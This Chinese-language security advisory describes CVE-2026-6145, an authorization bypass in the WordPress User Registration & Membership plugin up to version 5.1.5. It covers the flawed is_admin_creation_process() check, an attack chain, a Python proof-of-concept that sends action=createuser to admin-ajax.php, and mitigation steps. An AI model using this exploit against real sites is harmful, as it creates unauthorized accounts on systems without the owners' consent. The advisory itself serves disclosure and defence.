IPBUF安全漏洞报告
English
CVE-2026-6145 CVSS 5.3 中危

CVE-2026-6145 WordPress插件权限绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-6145
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
User Registration & Membership Plugin

相关标签

权限绕过WordPressCVE-2026-6145未授权访问插件漏洞

漏洞概述

WordPress User Registration & Membership插件在5.1.5及之前版本中存在严重的权限缺失漏洞(CVE-2026-6145)。该漏洞源于插件核心代码中的`is_admin_creation_process()`方法未能正确验证用户身份。该方法仅检查请求参数中是否存在`action=createuser`,而未执行必要的权限检查或身份验证。因此,未经身份验证的攻击者可以通过构造特定的HTTP请求,利用备用提交路径绕过管理员对新用户注册的审批流程。成功利用此漏洞可能导致攻击者在未经授权的情况下创建激活账户,破坏系统完整性。该漏洞CVSS v3.1评分为5.3,属于中危级别,且攻击过程无需用户交互。

技术细节

该漏洞的技术原理在于对权限校验逻辑的误判。在受影响的插件版本中,`includes/class-ur-user-approval.php`文件内的`is_admin_creation_process()`方法用于判断当前用户创建操作是否由管理员执行。然而,开发人员仅通过检查`$_REQUEST`超全局变量中是否包含`action=createuser`键值对来决定是否跳过审批流程。这是一个典型的逻辑错误,因为`$_REQUEST`中的参数完全由客户端控制,且未与任何服务端的会话验证机制(如`current_user_can()`)结合。攻击者可以通过Burp Suite或自定义脚本向注册接口发送POST请求,并刻意附带`action=createuser`参数。当插件接收到此参数时,会误以为请求来自受信任的管理员后台,从而直接调用用户创建逻辑并激活账户,完全绕过了前端设置的“需要管理员审核”的安全机制。这种利用方式被称为权限提升或业务逻辑绕过。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站是否安装了WordPress User Registration & Membership插件,并确认版本号小于等于5.1.5。
STEP 2
2. 构造恶意请求
攻击者向目标网站的注册接口(通常是admin-ajax.php或特定表单处理路径)发送POST请求,并在参数中注入“action=createuser”。
STEP 3
3. 绕过验证逻辑
插件后端`is_admin_creation_process()`方法检测到`action=createuser`参数,误判为管理员操作,跳过身份验证和权限检查。
STEP 4
4. 创建未授权账户
系统直接创建并激活新用户账户,无需等待管理员审批,攻击者随后可利用该账户登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def exploit_cve_2026_6145(target_url, username, email): """ PoC for CVE-2026-6145: Missing Authorization in User Registration Plugin. This script attempts to register a user without admin approval by injecting the 'action=createuser' parameter. """ # The endpoint might vary based on installation, usually /wp-admin/admin-ajax.php or a specific registration endpoint # This assumes a standard registration form endpoint structure for the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "createuser", # The vulnerable parameter that bypasses approval "ur_user_login": username, "ur_user_email": email, # Additional required fields might be needed depending on form configuration } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Referer": target_url } try: response = requests.post(endpoint, data=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {endpoint}") print(f"[+] Response: {response.text[:200]}") print("[+] Check if user was created without approval.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example-wordpress-site.com" user = "attacker_user" mail = "[email protected]" exploit_cve_2026_6145(target, user, mail)

影响范围

User Registration & Membership <= 5.1.5

防御指南

临时缓解措施
由于该漏洞利用无需认证且利用难度低,建议管理员立即采取缓解措施。如果无法立即更新插件,建议暂时关闭网站的用户注册功能,或者修改插件源代码`class-ur-user-approval.php`,在`is_admin_creation_process()`方法中增加`is_admin()`或`current_user_can('manage_options')`的权限校验逻辑,以防止未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表